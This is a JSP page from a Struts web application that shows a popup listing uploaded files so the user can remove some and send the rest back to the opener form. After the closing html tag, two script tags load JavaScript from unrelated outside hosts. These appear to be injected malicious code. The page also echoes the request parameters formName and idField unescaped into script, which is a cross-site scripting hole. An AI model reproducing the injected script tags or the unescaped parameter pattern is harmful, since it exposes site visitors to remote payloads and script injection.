<%@page contentType="text/html;charset=UTF-8"%>
<%request.setCharacterEncoding("UTF-8");%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.upload.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintMultipleFileUpload" class="com.dcivision.upload.web.MaintMultipleFileUploadForm" scope="request"/>

<html>
<title>Remove Uploaded Files</title>
<head>
<script language="javascript">
<!--
function getUploadedFiles() {
	var parentForm = opener.document.<%=request.getParameter("formName")%>;
	var thisForm = document.filesForm;
	
	var files = parentForm.<%=request.getParameter("idField")%>.value.split("|");
	for ( i = 1 ; i < files.length-1 ; i++ ) {
		fileName = files[i].substring(0,files[i].indexOf(":"));
		id = files[i].substring(files[i].indexOf(":")+1);
		thisForm.files.add ( new Option ( fileName, id ) );
	}
}

function doRemove() {
	var parentForm = opener.document.<%=request.getParameter("formName")%>;
	var thisForm = document.filesForm;
	
	var cnt = 0;
	var s1 = s2 ='';
	for ( i = 1 ; i < thisForm.files.length ; i++ ) {
		if ( !thisForm.files[i].selected ) {
			s1 += thisForm.files[i].text +":"+thisForm.files[i].value + "|";
			s2 += thisForm.files[i].text + "; ";
			cnt++;
		}
	}
	s1 = cnt+"|"+s1;
	
	if ( confirm ( 'Are you sure you want to remove the selected files?' ) ) {
  		window.opener.PutFileNames(parentForm.name, escape(s1), escape(s2));
		window.close();
		opener.focus();
	} else {
	
	}
	
}

function doCancel(){
	window.close();
	opener.focus();
}
//-->
</script>
</head>

<body onload="return getUploadedFiles();">
<center>
<form name="filesForm">
<select name="files" size="10" multiple="true">
<option><bean:message key='common.options.select_menu.select_one'/></option>
</select>
<br>
<input type="button" name="remove" value="Remove" onClick="doRemove();">
<input type="button" name="cancel" value="Cancel" onClick="doCancel();">
</form>
</center>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>